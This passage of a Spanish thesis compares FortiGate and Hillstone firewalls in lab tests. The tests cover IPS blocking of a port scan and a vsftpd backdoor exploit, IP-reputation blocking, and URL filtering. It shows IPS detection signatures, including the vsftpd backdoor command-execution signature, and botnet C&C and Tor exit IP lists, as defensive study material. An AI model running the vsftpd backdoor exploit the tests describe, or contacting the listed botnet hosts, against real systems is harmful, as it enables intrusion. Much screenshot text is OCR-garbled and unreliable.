Application Control

Intrusion Prevention w

Anomaly
Anti-Spam
VolP

FIGURA 50. VENTANA LOG IPS PAQUETES DETENIDOS EN ESCANEO FORTIGATE

En una explicacion resumida puede verse por un solo escaneo de nmap que aparecen 6
“eventos” /” entradas” en el log, estas advertencias las cuales sus acciones a tomar
fue un droppeo son escaneo a diferentes puertos de servicios concretos el cual el
dispositivo FortiGate detecto como sospechoso y catalogo como ataque de “escaneo
de puertos”
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3.2.2.2 Prueba de vsftp_backdoor

Para una visualizacion un poco més clara de lo que paso/hizo el dispositivo FortiGate
puede visualizarse los logs de IPS para ver que interacciones bloqueo

FortiGate 30E FortiGate-30 2 > O~ 1 admin
|t LogReport v 2 & | oAddFiter 5~
R Date/Time %  Severity  Source | Protocol  User  Action  Count Lo SEs &
i I 2023/06/05 13:50:04 annn 20002 & dropped \fl & Intrusion Prevention
Multicast Traffic Profile
2023/06/05 13:30:32 [ L] 20.0.02 6 dropped & all_default
Sniffer Traffic :tamek
Coente 2023/06/05 13:30:32 . 20002 6 dropped P N.:I?‘Ee Vsftpd BackdoorCommand Exel
e 2023/06/05 13:30:32 L] 20002 6 dropped P} AttackID 28241
ntiVirus | .
‘ 2023/06/05 13:30:32 — 20002 6 dropped r REfErEn:E http://www.fortinet.com/ids/VI
Web Filter Incldent 538712793
2023/06/05 13:30:32 (1] 20002 6 dropped pp Serial No.
SsL Direction outgoing
DNS Query 2023/06/05 13:30:32 [ L] 20.0.02 [} dropped Pt Severity mmmm
o Message ftp:
Web Application Vsftpd.Backdoor.Command.Exe|
Firewall
Application Control S Other
- - . LogID 0419016384
Intrusion Prevention W Type utm
Anomaly Sub Type ips
. Event Type signature
Anti-Spam Log event
VolP original 1685965804365637400
timestamp

¥ e Cnbbinnn

FIGURA 51. VENTANA LOG IPS DETECCION EXPLOIT FORTIGATE
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3.2.3 Defensa (Hillstone)
Para la demostracion IDS/IPS se aplicard una configuracion partida en 2 partes:

- Network Layer Attack Protection: Esta capa analiza a nivel de paquete
bajo los protocolos TCP, UDP e icmp sin entrar en lo que viene a ser la
capa de aplicacion, analizando el paquete a nivel de la capa de transporte
teniendo en cuenta la cantidad de “conexiones” realizadas en
determinado tiempo para evitar inundaciones, spoofing , escaneo de
puertos u otros ataques derivados en la capa de red [17]

Attack Defense X

—
e oo
- © P |

1% ARP Spoofing

] S
¥ MS-Windows Defense
Scan/Spoof Defense
«©

= © Ly o |
z © e - |
L 1% Denial of Service Defense
B Proxy
% [ Protocol Anomaly Report

FIGURA 52. CONFIGURACION CAPA NETWORK HILLSTONE

- Application Layer Protection: Configuracion de la firmay la
configuracién del protocolo. El sistema analiza el protocolo y procesa los
paquetes (solo registrar, restablecer y bloquear) de acuerdo con la
configuracién para que pueda generar registros para el administrador si
se detecta alguna anomalia [17]

Profile

|IGAAAAAGE

FIGURA 53. CONFIGURACION CAPA APPLICATION HILLSTONE
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3.2.3.1 Prueba de IDS de fragmentacion

Para una visualizacion un poco més clara de lo que paso/hizo el dispositivo Hillstone
puede visualizarse los logs de IPS para ver que interacciones bloqueo

TARRTCR 2023/

-fragment attac

=i Colapse

FIGURA 54. VENTANA LOG IPS PAQUETES DETENIDOS EN ESCANEO HILLSTONE
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3.2.3.2 Prueba de vsftp_backdoor

Para el bloqueo de este ataque se realizaria a través de firmas las cuales son descargadas
desde la actualizacion de la DATABASE de Hillstone

hboard e Monitor Policy e Network

Signature Database Update

D D
@ > Signature Database Update
B >

Version 30168

Share Access
Signature Database

> Update Remole Update [TSSRTE]
Applicabon
5 sne N dentfication Update Server

Database Update

' Upgrade Management Restore Default

URL Catagory

Upgrade Firmware Dalabasa Updato Name/lP Port Virtual Router
Signature Database Update Anti-Virus Signature Server 1 update_hillstonenet com 80 trust-vr
Trusted Root Certificals Server 2 updale2 hillsionenet com 80 trust-vr
Jpdate . ;
Updats Sorver 3 80 trust-vr
@ License Botnet Prevention
Signature DB Update Update Proxy Server
£ Mail Serve
Sandbox Whitelist P Port
@ SMS Parameters > Database Update
Server 1
B Ha F Reputation
Database Update Server 2
82 Extended Services
Auto Update ©
£ P >
Every hour VSV \Week o707
(%] Diagnostic Tool > Ty ¥ ly
n | Cancel | OK And Online Update |
=3 Cnllansa

FIGURA 55. VENTANA ACTUALIZACION FIRMAS IPS HILLSTONE

Ahora pueden verse las firmas de las que se disponen para el bloqueo y log de los
ataques registrados

Debido a la licencia disponible para el hardware actual solo se disponen de 2.500 fimas
de las mas de 8.000 que dispone Hillstone

Monitor Policy

MNotwork

Signature List

8 SSO Server > T Filler ~

= s ant > N
New B Load Database
Q use >
Signature | Signature Name Protocol.. 0S AttackType ~ Severy  Confidence  Acton Application  Buletin Board
& Role >
N + 105210 ISCUBIND Buffer c Asserti DNS Linue Other-Unix Vuinerabil E3 o Reset Others CVE BIDEDB,
B Track Object
@ Anivius N B 105227  Drsmasg 2-byte Hesp Ba DNS Linux, FreeBSD, Other-Unix  Suspiciou Medium Resst Others CVE EDB
I e + 105220 Ransomare Actwity Bad DNS 5 Linux FreeBS0 Trojan B vedum og Only Others.
@ system 7
+ 105285  Observed DNS Query to DNS  Windows Trojan Medium Reset Others
Prafile
B 105266 Globelmposter Ransom DNS Windows Trojan Medium Resst Others
Signature List
onfraton + 105267 Globelmposter Paymeant DNS Windows Trojan Critical Medium Reset Others
Configuratio
Vhitelisl + 105268 Globelmposler Payment DNS Windows Trojan Medium Reset Others
§ Botnel Prevention > 105322 Microsoft Windows DNS DNS  Windows Buffer-Ov Criical [ Reset Microsoft..  CVE
% URL Filtering > + 105338 FireEye Red Team Tool B DNS Windows, Linux, Others Hacking. High Reset Others
& Sandbox
@ Sandbox 4 + 105339 FireEye Red Team Tool B DNS Windows Linu Others Hacking- High Reset Others
@ NeiFlow > ~
. 108577 Nginx Resalver Off-by-On 2123017 DNS Windows, Linux, Others Vulnerabil Crifical Medium Log Only Others CVE
© Data Security >

FIGURA 56. FIRMAS DE IPS DE HILLSTONE
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3.2.4 Discusidon

Ante la prueba de fragmentacion ambos dispositivos detuvieron sin mayor problema el
ataque siendo que FortiGate ya tenia localizado el ataque en firmas y Hillstone a través
de su “Network Layer Attack Protection” la cual se encarga del analisis de las
“conexiones” y detecto un comportamiento andmalo de una fuente haciendo peticiones
recurrentes bajo protocolos de transporte

El ataque de backdoor Hillstone no fue capaz de detenerlo debido a que no dispone de la
firma CVE-2011-2523 el cual es el identificador de la firma que es el ataque de
vsftp 234 backdoor

Signature List

CVEID [CVE-2011-2 ‘ X I X Remove Al
New E Load Database

Signature | Signature Name CVE-ID rotocol 0s Attack Type S nfice \pplic n et
+ 308972 RealNetworks RealPlayer CVE-2011-29! HTTP Windows, Others Buffer-Ov @ Medium Reset Others CVE,B

+ 315286  Adobe Acrobat and Read HTTP  Windows Linux Vuinerabil  Criical NS Rese Adobe CVE
323060 Microsoft Windows Media 2011-2000 HTTP  Windows,Others Vulnerabil  Criical JEYETY Reset Microsoft-..  CVEM

+ 605212 Cisco NX-0S section and CVE-2011-2569 TELN Linux Vulnerabil @ High Reset Cisco CVE

+ 708075  Adobe Acrobat and Read 2 TP Win Vuinerabil EE]  Medum Resel Adobe CVE
1805057  Microsoft Windows Media NET Vulnerabil Medium Resel Microsofl- CVEM
+ 1905768 Microsoft Windows Mail a CVE-2011-201 NET Windows, Others Vulnerabil m Medium Reset Microsoft- CVEM

FIGURA 57. VISTA FIRMAS CON INICIO ID DE LA FIRMA CVE HILLSTONE
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3.3 Modulo IPR
3.3.1 Ataque

El ataque tiene el objetivo las pruebas de filtrado por reputacion IP, estas pruebas de
filtrado de trafico mediante IPR mediran la capacidad de los dispositivos para el
bloqueo/aceptar las direcciones IP de la base de datos que vienen de botnets u otros
lugares dependiendo el umbral asignado de configuracion

3.3.2 Defensa (FortiGate)

Para la demostracion de IPR se va a intentar realizar conexiones sobre una politica de
salida ya que se establece en estas el nivel minimo de reputacién necesario, las
pruebas consistiran en intentos de conexion a direcciones IP de la base de datos que
tiene descargada FortiGate la cuales estan “valoradas”, estas pruebas seran:

- nivel 4 de reputacién permitido minimo para ver el bloqueo al ser un nivel mas
bajo el intento de acceso

- nivel 2 de reputacién minimo permitido para ver como deja pasar todo ya que es
el nivel mas bajo
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3.3.2.1 Prueba de nivel 4

Viéndose como se aplica la seguridad de reputacién de nivel 4

- FortiGate 30E
| CLI Console o i & I %

 end

FortiGate-3@E (3) # sh full-configuration
config firewall policy
edit 3
set name "INET"
set uuid de3804a2-004d-5lee-2ebf-f8d645led3e2
set srcintf "lan"
set dstintf "wan"
set srcaddr "lan®
set internet-service-src disable
set reputation-minimum 4
set reputation-direction destination
set rtp-nat disable
set action accept
set status enable
set schedule "always"
set schedule-timeout disable
set tos-mask ©x80
set anti-replay enable
set utm-status disable
set inspection-mode proxy
set http-policy-redirect enable
set ssh-policy-redirect disable
set webproxy-profile "'
set profile-protocol-options "default"
set ssl-ssh-profile "certificate-inspection”
--More--

FIGURA 58. VENTANA CONFIGURACION IPR MiNIMO DE 4

Se procede a realizar una conexion a una direccion IP la cual esta en la base de datos

FortiGate 30E FortiGate-30E

@& Dashboard

Tor-Exit. Node i
SA Security Fabric

e FortiView

P Port Protocol Status
+§+ Network
2.58.56.57 1-65535 TCP © Enabled
£ System
2.58.56.57 1-65535 uDP @ Enabled
® Policy & Objects
58.54.88 -
1Pva Policy | 2.58.56.88 1-65535 TCP @ Enabled
Proxy Policy | 2.58.56.88 1-65535 ubppP @ Enabled
Authentication Rules 258.56.101 1-45535 TCP © Enabled
Multicast Policy ® | 2.58.56.101 1-65535 uppP © Enabled
Local In Policy =Y | 2.58.56.106 1-65535 TCP @ Enabled
IPv4 Da$ Policy 2.58.56.106 1-65535 uppP @ Enabled
Addresses | 2.58.56.114 1-65535 TCP @ Enabled
Internet Service o 2.58.56.114 1-65535 uDP @ Enabled
Database
2.58.56.212 1-65535 TCP @ Enabled

Services

FIGURA 59. VENTANA IP DE BASE DE DATOS CON MALA REPUTACION
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La conexion al estar establecidos todos los servicios se realizara mediante un ping para
comprobacion de comportamiento de FortiGate ante este caso

Véase la configuracion que se realizo, se puede apreciar que no se podré establecer
conexion a una direccion la cual supone ser de nivel 2

[&+] Simbolo del sistema

Microsoft Windows [Version 10.8.19645.2965]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\ThinkPad>ping 2.58.56.57

Haciendo ping a 2.58.56.57 con 32 bytes de datos:
Tiempo de espera agotado para esta solicitud.

Estadisticas de ping para 2.58.56.57:
Paquetes: enviados = 1, recibidos = @, perdidos = 1
(108% perdidos),

C:\Users\ThinkPad>ping 2.58.56.88

Haciendo ping a 2.58.56.88 con 32 bytes de datos:
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.

FIGURA 60. VENTANA DEMOSTRACION INTENTO CONEXION FALLIDO A IP NIVEL 2
Pueda verse que las conexiones mueren debido a que no se las deja pasar

A si mismo pueda entenderse que al quitar la restriccion de IPR se pueda establecer
conexion a esas direcciones debido a que si no se establece un minimo por defecto es 0

C:\Users\ThinkPad>ping 2.58.56.88

Haciendo ping a 2.58.56.88 con 32 bytes de datos:

Respuesta desde 2.58.56.88: bytes=32 tiempo=37ms TTL=51
Respuesta desde 2.58.56.88: bytes=32 tiempo=37ms TTL=51
Respuesta desde 2.58.56.88: bytes=32 tiempo=37ms TTL=51
Respuesta desde 2.58.56.88: bytes=32 tiempo=37ms TTL=51

Estadisticas de ping para 2.58.56.88:
Paquetes: enviados = 4, recibidos = 4, perdidos = @
(8% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 37ms, Maximo = 37ms, Media = 37ms

C:\Users\ThinkPad>ping 2.58.56.57

Haciendo ping a 2.58.56.57 con 32 bytes de datos:
Respuesta desde 2.58.56.57: bytes=32 tiempo=39ms TTL=54
Respuesta desde 2.58.56.57: bytes=32 tiempo=48ms TTL=54

Estadisticas de ping para 2.58.56.57:
Paquetes: enviados = 2, recibidos = 2, perdidos = @
(8% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 39ms, Maximo = 46ms, Media = 39ms

FIGURA 61. VENTANA DEMOSTRACION INTENTO DE CONEXION EXITOSO A IP NIVEL 2
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3.3.2.2 Prueba de nivel 2

Viéndose como se aplica la seguridad de reputacion de nivel 2

| CLIConsole O i X I x

| Connected

config firewall policy

edit "1"

show

FortiGate-38E # config firewall policy

FortiGate-38E (policy) # edit "1"

1 FortiGate-38E (1) # show
config firewall policy
edit 1
set name "INET"
set uuid f350863ce-0053-5lee-6526-be5bef58edef
set srcintf "lan"
set dstintf "wan"
set srcaddr "all"™
set reputation-minimum 2
set action accept
set schedule "always"
set inspection-mode proxy
set http-policy-redirect enable
set ssl-ssh-profile "certificate-inspection"
set nat enable
next
end

FortiGate-3eE (1) # ]

FIGURA 62. VENTANA CONFIGURACION IPR MINIMO DE 2

Se procedera a realizar 2 conexiones con 2 direcciones Ip de la base de datos:

- Direccion Ip de nivel 1 de una botnet

Botnet-C&C.Server x
IP Port Protocol Status
1.20.96.156 4153 TCP @ Enabled
| 1.20.97.181 34102 TCP @ Enabled
| 1.20.100.45 43943 TCP @ Enabled

FIGURA 63. VENTANA IP DE BASE DE DATOS CON MALA REPUTACION DE NIVEL 1
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- Direccion Ip de nivel 2 o superior

Tor-Exit.Node ]
IP Port Protocol Status

2.58.56.57 1-65535 TCP @ Enabled

2.58.56.57 1-65535 ubp @ Enabled

2.58.56.88 1-65535 TCP @ Enabled

FIGURA 64. VENTANA |IP DE BASE DE DATOS CON MALA REPUTACION DE NIVEL 2

La conexion al estar establecidos todos los servicios se realizara mediante un ping para
comprobacion de comportamiento de FortiGate ante este caso

Véase a la configuracion mostrada como la direccion que es de nivel 1 menor a 2 no es
capaz de llegar ya que es cortada y la comunicacion de nivel 2 o superior si que puede
realizarse

|

C:\Users\ThinkPad>ping 1.20.96.156

Haciendo ping a 1.26.96.156 con 32 bytes de datos:
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.

Estadisticas de ping para 1.20.96.156:
Paquetes: enviados = 2, recibidos = @, perdidos = 2
(16e% perdidos),

Control-C

g

C:\Users\ThinkPad>ping 2.58.56.57

Haciendo ping a 2.58.56.57 con 32 bytes de datos:

Respuesta desde 2.58.56.57: bytes=32 tiempo=39ms TTL=54
Respuesta desde 2.58.56.57: bytes=32 tiempo=39ms TTL=54
Respuesta desde 2.58.56.57: bytes=32 tiempo=39ms TTL=54

Estadisticas de ping para 2.58.56.57:
Paquetes: enviados = 3, recibidos = 3, perdidos = @
(8% perdidos),

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = 39ms, Maximo = 39ms, Media = 39ms

FIGURA 65. DEMOSTRACION DE INTENTOS DE CONEXION A IPDE NIVEL 1Y 2
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3.3.3 Defensa (Hillstone)

Hillstone aplica IP reputation sobre Global, zonas o su concepto de virtual router,
aplicandose esta reglas para todo el control del trafico

Para la prueba se procedera a configurar el dropeo de conexiones IP de BOT tanto de la
zona trust como la untrust

Dashboard iCenter Monitor Policy Object Network
E>  security Palicy b Policy / Perimeter Traffic Fitering / IP Reputation Filter
3 NAT >
IP Reputation Filter

o iQoS >
(9 Session Limit Scope Global Virtual Router
> Share Access Zone ust

Traffic Quota >
e Category

5 ARP Defense >
Bot m Block  Log Only
& Perimeter Traffic Filtering v

Spam
IP Blacklist

TorNode
Service Blacklist
MAC Blacklist Compromised
IP Reputation Filter Proxy
White List Scanner
Global Search Srute-forcer
Configuration

DDoS Attacker

FIGURA 66. VENTANA CONFIGURACION IPR TRUST HILLSTONE

Dashboard iCenter Monitor Policy Object Network System
E Security Policy > Policy / Perimeter Trafiic Filtering / IP Reputation Filter
F NAT >
IP Reputation Filter
o QoS >
(> session Limit Scope Global Virtual Router
&b Share Access Zone ntrust
Traffic Quota >
e Category
@ ARP Defense >
Bot Block  Log Only
4 Perimeter Traffic Filtering
Spam
IP Blacklist
TorNode

Service Blacklist

Compromised

MAC Blacklist

IP Reputation Filter Proxy
White List Scanner
Global Search Brute-forcer
Configuration

DDosS Attacker

“ Cancel

FIGURA 67. VENTANA CONFIGURACION IPR UNTRUST HILLSTONE
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También se realizaran pruebas de conexiones entrantes y salientes

- Aejemplo de las entrantes se uso la IP publica para ver como le llegaban los
ataques

- Aejemplo de salientes se intent6 establecer conexion con diferentes IP de
botnets

Para la comprobacidn y vista de la reaccion tomada por el Hillstone se visualizara en los
logs en el apartado de Threat

Threat Log

D =i “ =
BBl =esoci05200 =

[ Hon |

"n N

H
H

3.3.4 Discusidon

Tanto FortiGate como Hillstone frenaron conexiones cuando se trataban de direcciones
IP que estaban dentro de los aspectos de funcionamiento de cada uno de sus respectivos
sistemas a excepcion de Hillstone que solo fue capaz de bloquear conexiones entrantes,
pero dejaba pasar las que iban en direccion hacia la WAN

Puede apreciarse como el Hillstone freno los ataques de direcciones IP provenientes de
BotNets solo cuando venia desde el exterior
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3.4 Modulo URL
3.4.1 Ataque

El objetivo sera la prueba de respuesta y filtrado de los dispositivos y para este caso
se “atacara” direcciones URL diferentes con diferentes configuraciones en los
dispositivos, se quiere llegar a ver la capacidad que tienen para filtrar segun unas
pocas configuraciones de este punto ya gue poseen varias mas

Los siguientes ataques que se haran para las pruebas seran las siguientes:
- Filtrado por URL
- Filtrado por categorias

- Filtrado por contenido

3.4.1.1  Ataque filtrado por URL

Para la demostracion se intentard visualizar la direccion “www.marca.com” y podra
comprobar como es posible verla antes del filtrado y como reacciona una vez se
aplica la configuracién

< X @ @& marcacom

% Bookmarks PENDIENTES KISHA.. @ (1) WhatsApp A7 Anime onl San Saru | Joyas de.. Pendientes con Pie... » | DONT CARE - Ed

Es noticia: Mercado fic! tapa 1 deltalia TV /

je Italia / / Vinicius / Denunc / Real Madrid - Rayo TV / Ei 7 Giro de ltalia TV /
,ﬂk:: La portada de hoy 2 Radio MARCA CuidatePlus
= -

4 - X
Fitbol Baloncest ((')) Escucha en directo Radio MARCA Mas +

TOPBHT [  $oROBVEIBTOD S

LALIGA SANTANDER Ver todo >
19:30 Movistar LaLiga 19:30 Movistar Laliga 19:30 DAZN 22:00 Movistar Laliga 22
Resultados:
Todos @ Vilarreal - ® R.Madrid - ¥ Elche - é Espanyol - g Bet
¥ cadiz - % Rayo - T Sevila - @ avetico - @ ocetate

VALENCIA CF

Durisimo comunicado
del Valencia de
madrugada "por la
desproporcionada”
sancion de
Competicion

FIGURA 68. EJEMPLO VISUALIZACION MARCA
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3.4.1.2 Ataqgue por categorias

Para la demostracion se intentara visualizar la direccion “www.facebook.com”y
“www.twitter.com” pudiendo comprobar como es posible verlas antes del filtrado y
como reacciona una vez se aplica la configuracion

- Facebook

& 2> C {t @ facebookcom @ o [ Instalar |2 %

* Bookmarks PENDIENTES KISHA... S (1) WhatsApp A7 Anime online HD... San Saru | Joyas de.. endient ie.. » 1DONTCARE - Ed..

]
facebook

compartir con las personas que forman

Olvidaste tu contrasefia?

FIGURA 69. EJEMPLO VISUALIZACION FACEBOOK

parte de tu vida.

- Twitter

€ 2> C (O @& twittercom/?lang=es © Einstalar 1 % [ & O s

% Bookmarks PENDIENTES KISHA... @ (1) WhatsApp ~ A* Anime online HD.. San Saru | Joyas de. Pendientes con Pie... » | DON' CARE - Ed... » B Otros marc
L 4 Explorar @ ¢Eres nuevo en Twitter?

# lg\. entonio (=)

Su pareja desaparece durante sus vacaciones en Francia, en una

gasolinera. Un dia, afios mas tarde, recibe una carta: Su secuestrador
@ quiere contarle que pasoé aquel dia. SPOORLOOS es un asfixiante thriller

psicologico que el propio Kubrick definié como la pelicula mas terrorifica.

G Registrarse con Google

.‘ Registrarse con Apple

Crear cuenta

FIGURA 70. EJEMPLO VISUALIZACION TWITTER

Santi Ochoa Donate 66


http://www.facebook.com/
http://www.twitter.com/

Trabajo Final de Grado
Next Generation Firewalls

3.4.1.3 Ataque por contenido

Para la demostracion se intentard visualizar la direccién
“http://www.edudjava.com/es/web/web30.htmI” mostrar cémo es posible verlas antes

del filtrado y cdmo reacciona una vez se aplica la configuracion

X

% Bookmarks

8]

edudjava.com

@ (1) WhatsApp ~ AF  Anime online HD.. PENDIENTES KISHA.. San Saru | Joyas de. ntes Pi » | DON'T CARE - Ed.

ed

Conceptos web o www
World Wide Web

Cliente HTTP

documento HTML
Servidor HTTP

HTML

Introduccién

Lista elementos
Elementos por funcién

HTMLS

Introduccién

Estructura global
Estructura del cuerpo
Etiqueta: <header>
Etiqueta: <nav>
Etiqueta: <section>
Etiqueta: <aside>
Etiqueta: <footer>
Etiqueta: <article>
Etiqueta: <hgroup>
Etiqueta: <figure>
Formulario: Nuevos Input
Referencias de Elementos
Mejoras e incorporaciones
Atributos Globales

Donar < ﬁ &% English Version‘\‘+r‘
B =L = N

JAVA ANDROID JUEGOS SQL HTML CONCEPTOS

Servidor Web o Servidor HTTP

m,

AUR

»

Fibra, Movil y Netflix Navega y Disfruta
de las Mejores Peliculas y Series con
Pepephone.

MAS INFORMACION >

Habiamos visto que el protocolo HTTP de la Web funciona bajo el paradigma "Cliente - Servidor". El cliente es el Browser que
solicita paginas Web y el servidor HTTP o servidor Web las entrega. En este tutorial vamos a centrarnos en las tecnologias

asociadas al servidor conocidas como "tecnologias del lado del servidor".

FIGURA 71. EJEMPLO VISUALIZACION PAGINA HTTP
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3.4.2 Defensa (FortiGate)

Se procedera a la utilizacion de diferentes configuraciones para la resolucion de los
diferentes “ataques” para ver la respuesta del dispositivo y funcionamiento del filtrado

3.4.2.1Filtrado por URL

Se procede a bloquear el acceso via HTTP a URL “estatica”, de manera que pueda
verse como no es posible acceder a ella.

1. Se procede a configurar el filtrado por URL estatico

.2 FortiGate 30E FortiGate-30F

Dashboard >  Edit WebFilter Profile New URL Filter
¥ Security Fabric >
URL https://www.marca.com/
& FortiView >
Type Regular Expression = Wildcard
s Network > . . 5
B Search Engines Action | Exempt Allow = Monitor
£ System > R
Enforce 'Safe Search’ on Google, Yahoo!, Bing, Yand Status Disable
B Policy & Objects > :
Restrict YouTube Access
I & Security Profiles v Log all search keywords /
Antivirus Cancel

Web Filter b5 @ Static URLFilter
DNS Filter Block invalid URLs (B
Application Control URL Filter [ o)
Intrusion Prevention
+ Create New'

S5L/55H Inspection

Application Signatures Ui Type A
IPS Signatures
Web Rating Overrides No results
Web Profile Overrides

0 VPN

Block malicious URLs discovered by FortiSandbox
& User & Device

= WiFi &Switch Controller
Ll Log & Report

>
> Content Filter
>
>

B Rating Options

FIGURA 72. VENTANA CONFIGURACION URL ESTATICA

2. Se configura el security profile creado en la politica a utilizar
para la prueba

=05 FortiGate 30E FortiGate-30F

& Dashboard > Edit Policy

Protocol Optiens & -

% Security Fabric > ’
18 FortiView > 1
A Network N Security Profiles
v tusec
& System > AntiVirus e ] 0second(s) ago
B Policy & Objects v | \Web Filter © # I -
DN Filter ] 26 minutels) ago
Application Control (B
Authentication Rules o it t
1Ps (6 ] 1226
Addresses
Internet Service S5L Inspection s Active sessior
Database 69
Services Logging Options
Schedules Log Allowed Traffic €0 [ERaie I Al Sessions
. tal byt
Virtual IPs W
PR Advanced
Protocol Options weee >
Traffic Shapers Exempt from Captive Portal (¥
® Db
Traffic Shaping Policy - =
Comments | Write a comment | e & Online Help @
Traffic Shaping Profile W Video Tutorisls
& Security Profiles > Enable this policy €0
L VPN >
& User & Device >
Wi i _ Cancel

FIGURA 73. VENTANA APLICANDO WEB FILTER A LA POLITICA DE TRAFICO
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3. Se procede a acceder via web hacia la direccién
“Wwww.marca.com” para la comprobacion del bloqueo de pagina

Cor C O AN ] marca.com

% Bookmarks PENDIENTES KISHA.. @ (1) WhatsApp  A® Anime online HD. endientes con Pie..  » | DONT CARE - Ed

) FortiGuard |/ 71111 F::RTINET

Powered by FortiGuard
Web Page Blocked!
The page you have requested has been blocked, because the URL is banned.

URL: http://www.marca.com/

URL Source: Local URLfilter Block

FIGURA 74. EJEMPLO PAGINA BLOQUEADA DE MARCA FORTIGATE

Con el fin de facilitar una visualizacidon mas completa de los eventos y actividades
relacionados con los intentos de acceso y bloqueo, es posible realizar un seguimiento
detallado a través del registro de eventos (log).

E:E FortiGate 30E FortiGate-30E Q- - 3 @ L- ‘ admin~
@ Dashboard > o & ©addfiter 5+ (D Details
N4 Security Fabric >
Date/Time User Source Action URL Category Description Initiatar Sent / Received
18s FortiView >
 Network , || 2023005124 03:59:21 192.168.1.110 blocked https:/Awww.marca.com/ 517B/0B
etworl
& System 5 | | 202305724 03:59:20 192.168.1.110 blocked htp:/ com/favicon.ico 146kB/0B
B Policy & Objects 5 | |2023105/2403:55:20 192.168.1.110 blocked http 146kB/0B
@ Security Profiles 5 || 2023/05/2403:59:20 192.168.1.110 blocked hittp: marca.con/ 517B/0B
D VPN > 2023/05/2403:59:20 192.168.1.110 blocked https:/fwww.marca.com/ 517B/0B
& User & Device > 1] 2023/05/24 03:59:20 192.168.1.110 blocked https://www.marca.com/ 517B/0B
WiFi & Switch R
Controller
|m Log & Report v

Forward Traffic
Local Traffic
Sniffer Traffic

Events

AntiVirus

ssL
DNS Query

Application Control

FIGURA 75. VENTANA LOG WEB FILTER ENTRADAS URL ESTATICAS
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3.4.2.2 Filtrado por Categorias

Se procede a bloquear el acceso via HTTP por categorias, manera en la cual posibilita
el bloqueo de varias paginas de determinado “caracter” de forma conjunto
facilitando el bloqueo de miles sin el esfuerzo de filtrar una por una

1. Se procede a configurar el Security Profile acorde a la prueba a
realizar

@ Dashboard >
¥ Security Fabric >
18 FortiView >
b Network >
& System >
B Policy & Objects >

| & security Profies -

AntiVirus

DNSFilter
Application Control
Intrusion Prevention
SSL/SSH Inspection
Application Signatures
IPS Signatures

Web Rating Overrides
Web Profile Overrides

L VPN >
& User &Device >
® WiFi &Switch Controller >
L Log & Report >

Edit Web Filter Profile

O FortiGuard category based filter

Pre-configured fiters [[ENEEM] G PG-13 R

© Allow || ® Monitor | @ Block || A Warning || & Authenticate
Narme Action
News and Media © Allow
Lsccial Networking @ Block |
Political Organizati{ Category  SocialNetworking
e o

Reference
Global Religion
Shopping

Society and Lifestylf
Sports

Travel

General Interest - Personal

1 A social networking site is a platform to build social networks or social

relations among people wha share similar interests, activities, backgrounds
or real-life connections. A soclal network service consists of a
representation of each user [often a profile], his or her social links, and a
variety of additional services. Social network sites are web-based services
that allow individuals to create a public profile, create a list of users with
whom to share connections, and view and cross the connections within the
system.

Category Usage Quif==

Tacebook.com, twitter.com, weibo.com, vk.com |

+ Create New #

Category

Total quota

@ Docu
& OnlineHelp '
W Video Tutorials (1

FIGURA 76. VENTANA CONFIGURACION URL CATEGORIAS

2. Se aplica el security profile a la politica que hara uso de la prueba

2 wonin-

& Dashboard > -
¥& Security Fabric >
18 FortiView >
“ Network >
& System >

|! Policy & Objects v

Authentication Rules
Addresses

Internet Service
Database

Services
Schedules

Virtual IPs

P Pools

Protocol Options
Traffic Shapers
Traffic Shaping Policy

Traffic Shaping Profile

@ Security Profiles >

L VPN >

& User & Device >
WAE: £ Gunibrin -

Edit Policy

Protocol Options

Security Profiles

AntiVirus o ]
Web Filter © &
DN Filter 5]
Application Control (B
1PS @
SSL Inspection 4

Logging Options

Log Allowed Traffic €0 [EEEIRETEIEE All Sessions

Advanced

wWCCP e ]
Exempt from Captive Portal O
Write 2 comment

Comments

Enable this policy €0

OK Cancel

0second(s) ago
irst use

26 minutels) ago
it nt

1226

69

otal byte
24.18MB

& OnlineHelp &
W Video Tutorials '

FIGURA 77. VENTANA APLICANDO WEB FILTER A LA POLITICA DE TRAFICO
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3. Seintenta acceder a las paginas via “www.facebook.com”y
“www.twitter.com” web
1. Facebook

& - C (O A Noesseguro | hitps//www.facebook.com 2 *

% Bookmarks PENDIENTES KISHA... f Error de privacidad @ (1) WhatsApp A= Anime online HD... San Saru | Joyas de... Pendientes con Pie... » | DON'T CARE - Ed...

FIGURA 78. EJEMPLO PAGINA BLOQUEADA DE FACEBOOK FORTIGATE

2. Twitter

<« D A No es seguro | https:/twitter.com

% Bookmarks PENDIENTES KISHA... @ (1) WhatsApp A= Anime online HD.. San Saru | Joyas de... Pendientes con Pie... » | DON'T CARE - Ed...

FIGURA 79. EJEMPLO PAGINA BLOQUEADA DE TWITTER FORTIGATE

Pueda verse que aparece que no es seguro por tema certificado, esto se debe al protocolo
HTTPS, siendo FortiGate en modo proxy quien se encarga de ser como el
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“intermediario” nuestro navegador no se fia de la pagina al no poder comprobar ese
certificado, ademas de ser bloqueado por el profile Web Filter

Con el fin de facilitar una visualizacidon mas completa de los eventos y actividades
relacionados con los intentos de acceso y bloqueo, es posible realizar un seguimiento
detallado a través del registro de eventos (log).

ortiGate 30E FortiGat

(D= Yo & & || ©AddFiter - | M
3K Security Fabric >
Date/Time User Source ‘Action URL Category Description nitiator Sent/ Recved
& Fortiview >
o Network , | |20230052404:40:02 1921681110 blocked hitps://www.facebook.com/ Social Networking 517B/08B
2023/05/2404:40:01 192.168.1.110 blocked hitps://www.facebook.com/ Social Networking 5178/08
£ System >
/05/24 04 o — ; i 5178/
B Policy & Objects s | |2023/05/24 04:39:10 1921681110 blocked hitps://wwwfacebook.com Social Networking 5178/08
& security Profies s | |2023/05/24 04:39:00 192.168.1.110 blocked https://www.facebook.com/ Social Networking 5178/08
QveN » | |2023/05/24 04:39:08 192.168.1.110 blocked hitps://www facebook.com/ Social Networking 5178/08
& User & Device > | |2028/05124 04:39.08 192.168.1110 blocked hitps://www.facebook.com/ Social Networking 517B/08B
o WiFi & Switch , | |202300512404:39:08 192.168.1.110 blocked hitps://www.facebook.com/ Social Networking 5178/08
Controller
I ' 2023/05/2404:37:49 1921681110 blocked https:/www facebook.com/ Social Networking 5178/08
Il Log & Report v
